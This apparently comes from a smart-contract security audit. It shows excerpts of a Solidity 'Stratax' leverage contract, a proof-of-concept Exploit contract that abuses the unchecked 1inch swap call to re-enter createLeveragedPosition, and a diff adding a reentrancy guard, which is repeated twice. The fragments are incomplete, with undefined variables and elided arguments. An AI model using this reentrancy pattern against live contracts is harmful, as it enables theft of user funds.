function _executeOpenOperation(address _asset, uint256 _amount, uint256 _premium, bytes calldata _params)
internal
returns (bool)
{
uint256 returnAmount =
_call1InchSwap(flashParams.oneInchSwapData, flashParams.borrowToken, flashParams.minReturnAmount);
uint256 afterSwapBorrowTokenbalance = IERC20(flashParams.borrowToken).balanceOf(address(this));
require(afterSwapBorrowTokenbalance == prevBorrowTokenBalance, "Borrow token left in contract");
}
function _call1InchSwap(bytes memory _swapParams, address _asset, uint256 _minReturnAmount)
internal
returns (uint256 returnAmount)
{
(bool success, bytes memory result) = address(oneInchRouter).call(_swapParams);
require(success, "1inch swap failed");
}
contract Exploit {
Stratax public stratax;
bool public attacked;
function attack() external {
bytes memory maliciousSwapData = abi.encodeWithSelector(
this.callback.selector
);
stratax.createLeveragedPosition(
collateralToken,
flashAmount,
userCollateral,
borrowToken,
borrowAmount,
maliciousSwapData,
minReturn
);
}
function callback() external {
if (!attacked) {
attacked = true;
stratax.createLeveragedPosition(...);
}
}
}
+ import {ReentrancyGuardUpgradeable} from "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
- contract Stratax is Initializable {
+ contract Stratax is Initializable, ReentrancyGuardUpgradeable {
function createLeveragedPosition(
address _flashLoanToken,
uint256 _flashLoanAmount,
uint256 _collateralAmount,
address _borrowToken,
uint256 _borrowAmount,
bytes calldata _oneInchSwapData,
uint256 _minReturnAmount
- ) public onlyOwner {
+ ) public onlyOwner nonReentrant {
function unwindPosition(
address _collateralToken,
uint256 _collateralToWithdraw,
address _debtToken,
uint256 _debtAmount,
bytes calldata _oneInchSwapData,
uint256 _minReturnAmount
- ) external onlyOwner {
+ ) external onlyOwner nonReentrant {
+ import {ReentrancyGuardUpgradeable} from "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
- contract Stratax is Initializable {
+ contract Stratax is Initializable, ReentrancyGuardUpgradeable {
function createLeveragedPosition(
address _flashLoanToken,
uint256 _flashLoanAmount,
uint256 _collateralAmount,
address _borrowToken,
uint256 _borrowAmount,
bytes calldata _oneInchSwapData,
uint256 _minReturnAmount
- ) public onlyOwner {
+ ) public onlyOwner nonReentrant {
function unwindPosition(
address _collateralToken,
uint256 _collateralToWithdraw,
address _debtToken,
uint256 _debtAmount,
bytes calldata _oneInchSwapData,
uint256 _minReturnAmount
- ) external onlyOwner {
+ ) external onlyOwner nonReentrant {